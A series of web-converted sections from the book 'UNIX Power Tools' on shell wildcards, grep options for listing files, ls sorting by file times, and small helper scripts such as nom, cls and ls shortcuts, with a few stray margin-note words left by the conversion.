[Chapter 15] 15.6 Maybe You Shouldn't Use Wildcards in Pathnames

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.5 Matching All "Dot Files" with Wildcards Chapter 15
Wildcards 		Next: 15.7 Getting a List of Matching Files with grep -l

15.6 Maybe You Shouldn't Use Wildcards in Pathnames

Suppose you're giving a command like the one below (not necessarily rm-this applies to any UNIX command):

% rm /somedir/otherdir/*

Let's say that matches 100 files. The rm command gets 100 complete pathnames from the shell: /somedir/otherdir/afile, /somedir/otherdir/bfile, and so on. For each of these files, the UNIX kernel has to start at the root directory, then search the somedir and otherdir directories before it finds the file to remove.

That can make a significant difference, especially if your disk is already busy. It's better to cd to the directory first and run the rm from there. You can do it in a subshell (with parentheses) (13.7) if you want to, so you won't have to cd back to where you started:

% (cd /somedir/otherdir; rm *)

There's one more benefit to this second way: you're not as likely to get the error Arguments too long. (Another way to handle long command lines is with the xargs (9.21) command.)

- JP

Previous: 15.5 Matching All "Dot Files" with Wildcards | UNIX Power Tools | Next: 15.7 Getting a List of Matching Files with grep -l
15.5 Matching All "Dot Files" with Wildcards | Book Index | 15.7 Getting a List of Matching Files with grep -l
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.7 Getting a List of Matching Files with grep -l

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.6 Maybe You Shouldn't Use Wildcards in Pathnames Chapter 15
Wildcards 		Next: 15.8 Getting a List of Non-Matching Files with grep -c

15.7 Getting a List of Matching Files with grep -l

Normally when you run grep (27.1) on a group of files, the output lists the filename along with the line containing the search pattern. Sometimes you want to know only the names of the files, and you don't care to know the line (or lines) that match. In this case, use the -l (lowercase letter "l") option to list only filenames where matches occur. For example, the command:

% grep -l R5 file1 file2 ... > r5.filelist

searches the files for a line containing the string R5, produces a list of those filenames, and stores the list in r5.filelist. (This list might represent the files containing Release 5 documentation of a particular product.) Because these Release 5 files can now be referenced by one list, you can treat them as a single entity and run various commands on them all at once:

`...`
% print `cat r5.filelist`   Print only the Release 5 files
% grep UNIX `cat r5.filelist`   Search limited to the Release 5 files

You don't have to create a file list, though. You can insert the output of a grep directly into a command line with command substitution. For example, to edit only the subset of files containing R5, you would type:

% vi `grep -l R5 files`

grep -l is also good for shell programs that need to check whether a file contains a particular string. The traditional way to do that test is by throwing away grep's output and checking its exit status:

if grep something somefile >/dev/null
then ...

If somefile is huge, though, grep has to search all of it. Adding the grep -l option saves time because grep can stop searching after it finds the first matching line.

- DG, JP

Previous: 15.6 Maybe You Shouldn't Use Wildcards in Pathnames | UNIX Power Tools | Next: 15.8 Getting a List of Non-Matching Files with grep -c
15.6 Maybe You Shouldn't Use Wildcards in Pathnames | Book Index | 15.8 Getting a List of Non-Matching Files with grep -c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.8 Getting a List of Non-Matching Files with grep -c

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.7 Getting a List of Matching Files with grep -l Chapter 15
Wildcards 		Next: 15.9 nom: List Files that Don't Match a Wildcard

15.8 Getting a List of Non-Matching Files with grep -c

You can use the grep (27.2) option -c to tell you how many occurrences of a pattern appear in a given file, so you can also use it to find files that don't contain a pattern (i.e., zero occurrences of the pattern). Let's say you're indexing a troff (43.13) document and you want to make a list of files that don't yet contain indexing macros. What you need to find are files with zero occurrences of the string .XX. The command:

% grep -c "\.XX" chapter*

might produce the following output:

chapter1:10
chapter2:27
chapter3:19
chapter4:0
chapter5:39
   ...

This is all well and good, but suppose you need to check index entries in hundreds of reference pages? Well, just filter grep's output by piping it through another grep. The above command can be modified as follows:

% grep -c "\.XX" chapter* | grep :0

This results in the following output:

chapter4:0

Using sed (34.24) to truncate the :0, you can save the output as a list of files. For example, here's a trick for creating a list of files that don't contain index macros:

% grep -c "\.XX" * | sed -n s/:0//p > ../not_indexed.list

The sed -n command prints only the lines that contain :0; it also strips the :0 from the output so that ../not_indexed.list contains a list of files, one per line. The .. pathname (1.21) puts the not_indexed.list file into the parent directory - this is one easy way to keep grep from searching that file, but may not be worth the bother.

[To edit all files that need index macros added, you could type:

% vi `grep -c "\.XX" * | sed -n s/:0//p`

which is more obvious once you start using backquotes a lot. You can put this into a little script named vgrep with a couple of safety features added:

"$@"

#!/bin/sh
case $# in
0|1) echo "Usage: `basename $0` pattern file [files...]" 1>&2 ;;
*)  pat="$1"; shift
    grep -c "$pat" "$@" | sed -n 's/:0$//p'
   ;;
esac

Then you can type, for example, vi `vgrep "\.XX" *`. -JP ]

- DG

Previous: 15.7 Getting a List of Matching Files with grep -l | UNIX Power Tools | Next: 15.9 nom: List Files that Don't Match a Wildcard
15.7 Getting a List of Matching Files with grep -l | Book Index | 15.9 nom: List Files that Don't Match a Wildcard
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.9 nom: List Files that Don't Match a Wildcard

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.8 Getting a List of Non-Matching Files with grep -c Chapter 15
Wildcards 		Next: 15.10 Wildcards that Match Only Directories

15.9 nom: List Files that Don't Match a Wildcard

The nom (no match) script takes filenames (usually, expanded by the shell) from its command line. It outputs all filenames in the current directory that don't match. As article 15.2 explains, ksh has a ! operator that works like nom, and tcsh has ^pattern, but other shells don't. Here are some examples of nom:

  • To get the names of all files that don't end with .ms:

    % nom *.ms

  • To edit all files whose names don't have any lowercase letters, use command substitution (9.16):

    % vi `nom *[a-z]*`

  • To copy all files to a directory named Backup (except Backup itself):

    % cp `nom Backup` Backup

Here's the script:

trap

case $*

comm -

#! /bin/sh
temp=/tmp/NOM$$
stat=1  # ERROR EXIT STATUS (SET TO 0 BEFORE NORMAL EXIT)
trap 'rm -f $temp; exit $stat' 0 1 2 15

# MUST HAVE AT LEAST ONE ARGUMENT.  ALL MUST BE IN CURRENT DIRECTORY:
case "$*" in
"") echo Usage: `basename $0` pattern 1>&2; exit ;;
*/*) echo "`basename $0` quitting: I can't handle '/'s." 1>&2; exit ;;
esac

# GET NAMES WE DON'T WANT TO MATCH; REPLACE BLANKS WITH NEWLINES:
echo "$*" | tr ' ' '\012' | sort > $temp
# COMPARE TO CURRENT DIRECTORY (-1 = ONE NAME PER LINE); OUTPUT NAMES WE WANT:
ls -1 | comm -23 - $temp
stat=0

You can remove the -1 option on the script's ls command line if your version of ls lists one filename per line by default; almost all versions of ls do that when they're writing into a pipe. Note that nom doesn't know about files whose names begin with a dot (.); you can change that if you'd like by adding the ls -A option (uppercase letter "A", which isn't on all versions of ls).

The script line with tr (35.11) will split filenames containing space characters. You can replace that line with the following three lines; they run more slowly on some shells but will fix this (unlikely) problem:

for

done |
for file
do echo "$file"
done | sort > $temp

- JP

Previous: 15.8 Getting a List of Non-Matching Files with grep -c | UNIX Power Tools | Next: 15.10 Wildcards that Match Only Directories
15.8 Getting a List of Non-Matching Files with grep -c | Book Index | 15.10 Wildcards that Match Only Directories
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.10 Wildcards that Match Only Directories

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.9 nom: List Files that Don't Match a Wildcard Chapter 15
Wildcards 		Next: 16. Where Did I Put That?

15.10 Wildcards that Match Only Directories

It's not news that the shell turns .* (dot asterisk) into every name in the current directory that starts with a dot: .login, .profile, .bin (I name my directory that way), and so on - including . and .. too.

Also, many people know that the shell turns */.* into a list of the dot files in subdirectories: foo/.exrc, foo/.hidden, bar/.xxx-as well as foo/., foo/.., bar/., and bar/.., too. (If that surprises you, look at the wildcard pattern closely - or try it on your account with the echo command: echo */.*.)

What if you're trying to match just the subdirectory names, but not the files in them? The most direct way is: */.-that matches foo/., bar/., and so on. The dot (.) entry in each directory is a link to the directory itself (18.2, 14.4), so you can use it wherever you use the directory name. For example, to get a list of the names of your subdirectories, type:

$ ls -d */.
bar/.       foo/.

(The -d option (16.8) tells ls to list the names of directories, not their contents.) With some C shells (but not all), you don't need the trailing dot (.):

% ls -d */
bar/       foo/

(The shell passes the slashes (/) to ls. So, if you use the ls -F option (16.12) to put a slash after directory names, the listing will show two slashes after each directory name.)

When matching directory names that start with a dot, the shells expand the .*/ or .*/. and pass the result to ls-so you really don't need the ls -a option (16.11). The -a is useful only when you ask ls (not the shell) to read a directory and list the entries in it. You don't have to use ls, of course. The echo (8.6) command will show the same list more simply.

Here's another example: a Bourne shell loop that runs a command in each subdirectory of your home directory:

for dir in $HOME/*/.
do
    cd $dir
    ...Do something...
done

That doesn't take care of subdirectories whose names begin with a dot, like my .bin-but article 15.5 shows a way to do that too.

Article 21.12 shows a related trick that doesn't involve the shell or wildcards: making a pathname that will match only a directory.

- JP

Previous: 15.9 nom: List Files that Don't Match a Wildcard | UNIX Power Tools | Next: 16. Where Did I Put That?
15.9 nom: List Files that Don't Match a Wildcard | Book Index | 16. Where Did I Put That?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] Where Did I Put That?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.10 Wildcards that Match Only Directories Chapter 16 Next: 16.2 Finding Oldest or Newest Files with ls -t and ls -u

16. Where Did I Put That?

Contents:
Everything but the find Command
Finding Oldest or Newest Files with ls -t and ls -u
Reordering ls Listings
List All Subdirectories with ls -R
The Three UNIX File Times
clf, cls: "Compressed" ls Listings
ls Shortcuts: ll, lf, lg, etc.
The ls -d Option
An Alias to List Recently Changed Files
findcmd: Find a Command in Your Search Path
Showing Hidden Files with ls -A and -a
Useful ls Aliases
Can't Access a File? Look for Spaces in the Name
Showing Non-Printable Characters in Filenames
Script with a :-) for UNIX Converts: dir, ..., ...
Picking a Unique Filename Automatically
Getting Directory Name from a File's Pathname
Listing Files You've Created/Edited Today
stree: Simple Directory Tree
The vtree Visual Directory Tree Programs
Finding All Directories with the Same Name
Comparing Two Directory Trees with dircmp
Comparing Filenames in Two Directory Trees
Counting Files by Types
Listing Files by Age and Size
Finding Text Files with findtext
newer: Print the Name of the Newest File
oldlinks: Find Unconnected Symbolic Links
sls: Super ls with Format You Can Choose

16.1 Everything but the find Command

A computer isn't that much different from a house or an office; unless you're incredibly orderly, you spend a lot of time looking for things that you've misplaced. Even if you are incredibly orderly, you still spend some time looking for things you need - you just have a better idea of where to find them. After all, librarians don't memorize the location of every book in the stacks, but they do know how to find any book, quickly and efficiently, using whatever tools are available. A key to becoming a proficient user of any system, then, is knowing how to find things.

This chapter is about how to find things. We're excluding the find (17.1) utility itself because it's complicated and deserves a chapter of its own. We'll concentrate on simpler ways to find files, beginning with some different ways to use ls.

- ML

Previous: 15.10 Wildcards that Match Only Directories | UNIX Power Tools | Next: 16.2 Finding Oldest or Newest Files with ls -t and ls -u
15.10 Wildcards that Match Only Directories | Book Index | 16.2 Finding Oldest or Newest Files with ls -t and ls -u
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.2 Finding Oldest or Newest Files with ls -t and ls -u

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.1 Everything but the find Command Chapter 16
Where Did I Put That? 		Next: 16.3 Reordering ls Listings

16.2 Finding Oldest or Newest Files with ls -t and ls -u

Your directory might have 50, 100, or more files. Which files haven't been used for a while? You might be able to save space by removing them. You read or edited a file yesterday but you can't remember its name? These commands will help you find it. (If you want a quick review of UNIX file times, see article 16.5.)

In this example, I'll show you my bin (4.2) directory full of shell scripts and other programs-I want to see which programs I don't use very often. You can use the same technique for directories with text or other files.

The ls command has options to change the way it orders files. By default, ls lists files alphabetically - that probably won't help you find old files, but it's a good place to start this explanation. For finding old files, use the -t option. This sorts files by their modification time, or the last time the file was changed. The newest files are listed first. Here's what happens:

jerry@ora ~/.bin
60 % ls -t
weather       unshar        scandrafts    rn2mh         recomp
crontab       zloop         tofrom        rmmer         mhprofile
rhyes         showpr        incc          mhadd         append
rhno          rfl           drmm          fixsubj       README
pickthis      maillog       reheader      distprompter  rtfm
cgrep         c-w           zrefile       xmhprint      saveart
dirtop        cw            zscan         replf         echoerr
which         cx            zfolders      fols
tcx           showmult      alifile       incs

I just added a shell script named weather yesterday; you can see it as the first file in the first column. I also made a change to my script named crontab last week; it's shown next. The oldest program in here is echoerr; it's listed last. [1]

[1] On some systems, ls -t will list the files in one column, with the newest file first. Although that's usually a pain, I actually find that more convenient when I'm interested in the most recent files. If your system does that and you don't like the single-column display, you can use ls -Ct. On other systems, if a single column display would be handy, use ls -1t; the "1" option means "one column." Throughout this article, we'll assume you're using a multi-column display.

ls -t is also great for file time comparisons in a script (2.15, 16.27). [Personally, I find ls -t most useful when I've forgotten whether or not I've edited a file recently. If I've changed a file, it will be at or near the top of the ls -t listing. For example, I might ask, "Have I made the changes to that letter I was going to send?" If I haven't made the changes (but only think I have), my letter will most likely appear somewhere in the middle of the listing. -ML ]

The -u option shows the files' last-access time instead of the last-modification time. The -u option doesn't do anything with plain ls-you have to use it with another option like -t or -l. The next listing shows that I've recently used the rtfm and rmmer files. I haven't read README in a long time, though - oops:

jerry@ora ~/.bin
62 % ls -tu
rtfm          cx            drmm          saveart       fixsubj
rmmer         c-w           zscan         scandrafts    echoerr
rfl           cw            zrefile       rhno          dirtop
mhprofile     distprompter  xmhprint      rhyes         cgrep
showmult      recomp        zloop         replf         append
tcx           crontab       zfolders      reheader      alifile
tofrom        mhadd         which         incs          README
rn2mh         pickthis      unshar        maillog
weather       incc          showpr        fols

(Some UNIXes don't update the last-access time of executable files (21.5) when you run them. Shell scripts are always read, so their last-access times will always be updated.)

The -c option shows when the file's inode information (1.22, 21.6) was last changed. The inode time tells when the file was created, when you used chmod to change the permissions, and so on. That doesn't help you find "stale" files:

jerry@ora ~/.bin
64 % ls -tc
weather      maillog       reheader      recomp        incs
crontab      tcx           rn2mh         fols          cx
cgrep        zscan         tofrom        rmmer         cw
zloop        zrefile       mhadd         fixsubj       c-w
dirtop       rfl           drmm          mhprofile     echoerr
pickthis     showmult      alifile       append        which
rhno         rtfm          showpr        saveart       README
unshar       incc          scandrafts    distprompter
rhyes        zfolders      xmhprint      replf

If you're wondering just how long ago a file was modified (or accessed), add the -l option for a long listing. As before, adding -u shows the last-access time; -c shows inode change time. If I look at the access times of a few specific files, I find that I haven't read README since 1989...

jerry@ora ~/.bin
65 % ls -ltu README alifile maillog
-rwxr-xr-x   1 jerry    ora           59 Feb  2  1991 maillog
-rwxrwxr-x   1 jerry    ora          213 Nov 29  1989 alifile
-rw-r--r--   1 jerry    ora         3654 Nov 27  1989 README

- JP

Previous: 16.1 Everything but the find Command | UNIX Power Tools | Next: 16.3 Reordering ls Listings
16.1 Everything but the find Command | Book Index | 16.3 Reordering ls Listings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.3 Reordering ls Listings

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.2 Finding Oldest or Newest Files with ls -t and ls -u Chapter 16
Where Did I Put That? 		Next: 16.4 List All Subdirectories with ls -R

16.3 Reordering ls Listings

In the previous tutorial (16.2), I introduced you to several different ways of sorting ls' output, based on file time. There was one constant: ls listings were always from first (most recent) to last, moving (first) down each column and then across the page.

That's often not the most convenient way to look at the world. For example, if you're going to look at a directory with many, many files, it might be easier to list the files across the screen first, and then down. This would be particularly nice if you're using a pager (like pg or more (25.3)) to read the listing. Then the first screenful will show the files at the top of the list. Here's an example:

jerry@ora ~/.bin
59 % ls -x | pg
README        alifile       append        c-w           cgrep
crontab       cw            cx            dirtop        distprompter
drmm          echoerr       fixsubj       fols          incc
incs          maillog       mhadd         mhprofile     pickthis
recomp        reheader      replf         rfl           rhno
rhyes         rmmer         rn2mh         rtfm          saveart
scandrafts    showmult      showpr        tcx           tofrom
unshar        weather       which         xmhprint      zfolders
zloop         zrefile       zscan

This listing is "alphabetic"-not sorted by time. So README is first in the list (uppercase comes below lowercase), and alifile is next to it. The -x flag makes the output multi-column. BSD doesn't have -x. To get the same sorting order under BSD, pipe ls output through the cols (35.16) script.

Both BSD and System V have the -C option; it sorts filenames down columns instead of across. In fact, -C is the default on BSD when you aren't redirecting the output of ls. If BSD ls detects that it's writing anywhere other than a terminal, it defaults to single-column output, rather than multi-column. Under BSD, you'll need to use -C (or another technique like the cols script or pr -number (35.17)) to get output in columns when you pipe ls output.

The -r option lists the files in reverse order. I find this particularly useful when I'm looking at modification times. Because -t shows files by modification time, newest first - using -tr shows files by modification time, oldest first:

jerry@ora ~/.bin
61 % ls -tr
echoerr       replf         zscan         c-w           dirtop
saveart       xmhprint      zrefile       cx            cgrep
rtfm          distprompter  reheader      maillog       pickthis
README        fixsubj       drmm          rfl           rhyes
append        mhadd         incc          showpr        rhno
fols          rmmer         tofrom        zloop         crontab
mhprofile     rn2mh         scandrafts    unshar        weather
recomp        alifile       showmult      tcx
incs          zfolders      cw            which

Adding the -u option shows the least recently accessed files first:

jerry@ora ~/.bin
63 % ls -tur
README        maillog       which         mhadd         tofrom
alifile       replf         zfolders      crontab       tcx
append        reheader      zloop         recomp        showmult
cgrep         rhyes         xmhprint      distprompter  mhprofile
dirtop        rhno          zscan         cw            rmmer
fixsubj       showpr        zrefile       cx            rfl
echoerr       scandrafts    drmm          c-w           rtfm
fols          saveart       incc          weather
incs          unshar        pickthis      rn2mh

- JP, ML

Previous: 16.2 Finding Oldest or Newest Files with ls -t and ls -u | UNIX Power Tools | Next: 16.4 List All Subdirectories with ls -R
16.2 Finding Oldest or Newest Files with ls -t and ls -u | Book Index | 16.4 List All Subdirectories with ls -R
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.4 List All Subdirectories with ls -R

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.3 Reordering ls Listings Chapter 16
Where Did I Put That? 		Next: 16.5 The Three UNIX File Times

16.4 List All Subdirectories with ls -R

By default, ls lists just one directory. If you name one or more directories on the command line, ls will list each one. The -R (uppercase R) option lists all subdirectories, recursively. That shows you the whole directory tree starting at the current directory (or the directories you name on the command line).

This list can get pretty long; you might want to pipe the output to a pager program like more (25.3). The ls -C option is a good idea, too, to list the output in columns. (When the ls output goes to a pipe, BSD versions of ls won't make output in columns automatically.)

- JP

Previous: 16.3 Reordering ls Listings | UNIX Power Tools | Next: 16.5 The Three UNIX File Times
16.3 Reordering ls Listings | Book Index | 16.5 The Three UNIX File Times
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.5 The Three UNIX File Times

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.4 List All Subdirectories with ls -R Chapter 16
Where Did I Put That? 		Next: 16.6 clf, cls: "Compressed" ls Listings

16.5 The Three UNIX File Times

When you're talking to experienced UNIX users, you often hear the terms "change time" and "modification time" thrown around cavalierly. To most people (and most dictionaries), a change and a modification are the same thing. What's the difference here?

The difference between a change and a modification is the difference between altering the label on a package and altering its contents. If someone says chmod a-w myfile, that is a change; if someone says echo foo >> myfile, that is a modification. A change modifies the file's inode (1.22); a modification modifies the contents of the file itself. [A file's modification time is also called the timestamp. -JP ]

As long as we're talking about change times and modification times, we might as well mention "access times," too. The access time is the last time the file was read or written. So reading a file updates its access time, but not its change time (information about the file wasn't changed) or its modification time (the file itself wasn't changed).

Incidentally, the change time or "ctime" is incorrectly documented as the "creation time" in many places, including some UNIX manuals. Do not believe them.

- CT

Previous: 16.4 List All Subdirectories with ls -R | UNIX Power Tools | Next: 16.6 clf, cls: "Compressed" ls Listings
16.4 List All Subdirectories with ls -R | Book Index | 16.6 clf, cls: "Compressed" ls Listings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.6 clf, cls: "Compressed" ls Listings

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.5 The Three UNIX File Times Chapter 16
Where Did I Put That? 		Next: 16.7 ls Shortcuts: ll, lf, lg, etc.

16.6 clf, cls: "Compressed" ls Listings

Most newer UNIX systems let you make filenames that are hundreds of characters long. The bad thing about that is that when ls lists the filenames in columns, it can't fit many columns across the screen. If your directory has a lot of files, the listing can scroll off the screen.

I wrote a script that lists a directory in five columns. If a filename doesn't fit, the script truncates the name and prints a right angle bracket (>) at the end of the name. Here's a demo. It starts with the standard ls and its -F option (16.12) to mark directories with a trailing / and executable files with a *. Next, clf gives the same listing, compressed. Third, cls gives a listing without the / and *.

% ls -F
HOMEDIR_backup/                         more*
adir/                                   projects.1995/
afile                                   projects.1996/
cfile                                   updatedb.client
dfile                                   zfile
file_with_a_very_long_name_what_a_mess* zoo.tar.Z
jerryp_MH.tar.Z

% clf
HOMEDIR_back>/ cfile          jerryp_MH.tar> projects.1996/ zoo.tar.Z
adir/          dfile          more*          updatedb.clie>
afile          file_with_a_>* projects.1995/ zfile
% cls
HOMEDIR_backup cfile          jerryp_MH.tar> projects.1996  zoo.tar.Z
adir           dfile          more           updatedb.clie>
afile          file_with_a_v> projects.1995  zfile

cls
The script has a total of four names (links). cls lists in columns that are sorted top to bottom. clf is like cls, but marks directories and executable files. cls2 and clf2 are like cls and clf, but they sort filenames side to side instead; this is faster but may not be as easy to read. The script tests its name and does the right commands in a case statement (44.6) that starts like this:

case "$0" in
*clf2)  $ls -F ${1+"$@"} | sed -e "$sed" | $pr -l1; exit ;;
   ...

The ${1+"$@"} passes in quoted filenames from the command line without breaking them into pieces at the spaces. This is a workaround for differences in the way some old Bourne shellshandle an empty "$@" parameter . (46.7)

The "guts" of the shell script is the two-line sed (34.24) command below (the single quotes around the expression pass both lines into the shell variable at once):

sed='/[/@*=]$/s/^\(............\)...*\([/@*=][/@*=]*\)$/\1>\2/
s/^\(.............\)...*/\1>/'

The ls output is piped to sed's standard input:

  • The first sed script line matches lines that are more than 14 characters long and end with one of the symbols *, /, @, or =. The "escaped parenthesis" operators /(.../) (34.10) grab the first 12 characters into \1 and the symbol into \2-then print them both together with a > between.

  • The second sed line matches other filenames over 14 characters that don't end with a symbol. (It won't match filenames that the first line matched because the first line shortened them.) The second line grabs the first 13 characters, prints them with a > on the end.

If you figured that out yourself, tell your manager that I think you deserve a promotion :-).

The other tricky part is this line:

`...`
$pr -l`expr \( `wc -l < $temp` / 5 \) + 1` $temp

It's used when you call the script clf or cls and the filenames need to be printed down columns instead of across. The same kind of line is used in article 35.16- it's explained there. The time that line takes to run is why clf and cls are a little slower than clf2 and cls2.

You can install this script from the CD-ROM or from the online archive (52.7). If you get it from the archive, ask tar to install cls and its three other links:

% tar xvf archive.tar cls clf cls2 clf2
x cls, 1282 bytes, 3 tape blocks
clf linked to cols
cls2 linked to cols
clf2 linked to cols

- JP

Previous: 16.5 The Three UNIX File Times | UNIX Power Tools | Next: 16.7 ls Shortcuts: ll, lf, lg, etc.
16.5 The Three UNIX File Times | Book Index | 16.7 ls Shortcuts: ll, lf, lg, etc.
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.7 ls Shortcuts: ll, lf, lg, etc.

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.6 clf, cls: "Compressed" ls Listings Chapter 16
Where Did I Put That? 		Next: 16.8 The ls -d Option

16.7 ls Shortcuts: ll, lf, lg, etc.

The old 4.1BSD UNIX system I worked on in the early 1980s had commands named ll, for ls -l; lf, for ls -F; and lm, for the (defunct, on BSD at least... RIP) ls -m command. [For those of us who don't remember it, ls -m listed files separated by commas, rather than spaces. -ML ] When they left my system, I made my own shell script to do the same things. If your system doesn't have these, you can install the script from the CD-ROM.

This is the single script file for all the commands:

#! /bin/sh
case $0 in
*lf)  exec ls -F "$@";;
*lg)  exec ls -lg "$@";;
*ll)  exec ls -l "$@";;
*lm)  ls "$@" |
      awk '{
        if ((length($0) + 2 + length(inline)) > 79) {
            print inline ","
            inline = $0
        }
        else if (length(inline) != 0)
            inline = inline ", " $0
        else # this is the first filename
            inline = $0
      }
      END {
        print inline
      }'
      ;;
*lr)  exec ls -lR "$@";;
*)    echo "$0: Help!  Shouldn't get here!" 1>&2; exit 1;;
esac

The exec (45.7) command saves a process - this was important on my overloaded VAX 11/750, and doesn't hurt on faster systems.

You can install this script from the CD-ROM or just type it in. If you type it into a file named lf, don't forget to make the four other links (18.5): lg, ll, lm, and lr. The script tests the name it was called with, in $0, to decide which ls command to run. This trick saves disk space.

System V still has the -m option, so you can replace the *lm) section with plain ls -m. Also, on some UNIXes, the ls -g option does nothing; replace that section with ls -lG or ls -lo. You can add other commands, too, by adding a line to the case and another link. (For more on shell programming, start with article 44.1.)

- JP

Previous: 16.6 clf, cls: "Compressed" ls Listings | UNIX Power Tools | Next: 16.8 The ls -d Option
16.6 clf, cls: "Compressed" ls Listings | Book Index | 16.8 The ls -d Option
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.8 The ls -d Option

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.7 ls Shortcuts: ll, lf, lg, etc. Chapter 16
Where Did I Put That? 		Next: 16.9 An Alias to List Recently Changed Files

16.8 The ls -d Option

If you give ls the pathname of a directory, ls lists the entries in the directory:

% ls -l /home/joanne
total 554
-rw-r--r--  1 joanne      15329 Oct  5 14:33 catalog
-rw-------  1 joanne      58381 Oct 10 09:08 mail
   ...

With the -d option, ls lists the directory itself:

% ls -ld /home/joanne
drwxr-x--x  7 joanne       4608 Oct 10 10:13 /home/joanne

The -d option is especially handy when you're trying to list the names of some directories that match a wildcard. Compare the listing with and without the -d option:

% ls -Fd [a-c]*
arc/                    bm/                     ctrl/
atcat.c                 cdecl/
atl.c.Z                 cleanscript.c
% ls -F [a-c]*
atcat.c                 atl.c.Z                 cleanscript.c

arc:
BugsEtc.Z       arcadd.c        arcext.c.Z      arcmisc.c.Z
   ...
bm:
Execute.c.Z     MakeDesc.c.Z    MkDescVec.c.Z   Search.c.Z
   ...

To list only the directory names, see the tip in article 15.10.

- JP

Previous: 16.7 ls Shortcuts: ll, lf, lg, etc. | UNIX Power Tools | Next: 16.9 An Alias to List Recently Changed Files
16.7 ls Shortcuts: ll, lf, lg, etc. | Book Index | 16.9 An Alias to List Recently Changed Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.9 An Alias to List Recently Changed Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.8 The ls -d Option Chapter 16
Where Did I Put That? 		Next: 16.10 findcmd: Find a Command in Your Search Path

16.9 An Alias to List Recently Changed Files

Looking for a recently changed file? Not sure of the name? Trying to do this in a directory with lots of files? Try the lr alias:

alias lr "ls -lagFqt \!* | head"

The alias takes advantage of the -t option (16.2) to ls, so that recent files can float to the top of the listing. head (25.20) shows just the first ten lines.

A simple lr in my home directory gives me:

bermuda:home/dansmith :-) lr
total 1616
-rw-------  1 dansmith staff      445092 Oct  7 20:11 .mush256
-rw-r--r--  1 dansmith staff        1762 Oct  7 20:11 .history
drwxr-xr-x 30 dansmith staff        1024 Oct  7 12:59 text/
-rw-------  1 dansmith staff      201389 Oct  7 12:42 .record
drwxr-xr-x 31 dansmith staff        1024 Oct  4 09:41 src/
-rw-r--r--  1 dansmith staff        4284 Oct  4 09:02 .mushrc
   ...

You can also give a wildcarded pattern, in order to narrow the search. For example, here's the command to show me the dot files that have changed lately:

.??*

bermuda:home/dansmith :-) lr .??*
-rw-------  1 dansmith staff      445092 Oct  7 20:11 .mush256
-rw-r--r--  1 dansmith staff        1762 Oct  7 20:11 .history
-rw-------  1 dansmith staff      201389 Oct  7 12:42 .record
-rw-r--r--  1 dansmith staff        4284 Oct  4 09:02 .mushrc
   ...

- DS

Previous: 16.8 The ls -d Option | UNIX Power Tools | Next: 16.10 findcmd: Find a Command in Your Search Path
16.8 The ls -d Option | Book Index | 16.10 findcmd: Find a Command in Your Search Path
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.10 findcmd: Find a Command in Your Search Path

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.9 An Alias to List Recently Changed Files Chapter 16
Where Did I Put That? 		Next: 16.11 Showing Hidden Files with ls -A and -a

16.10 findcmd: Find a Command in Your Search Path

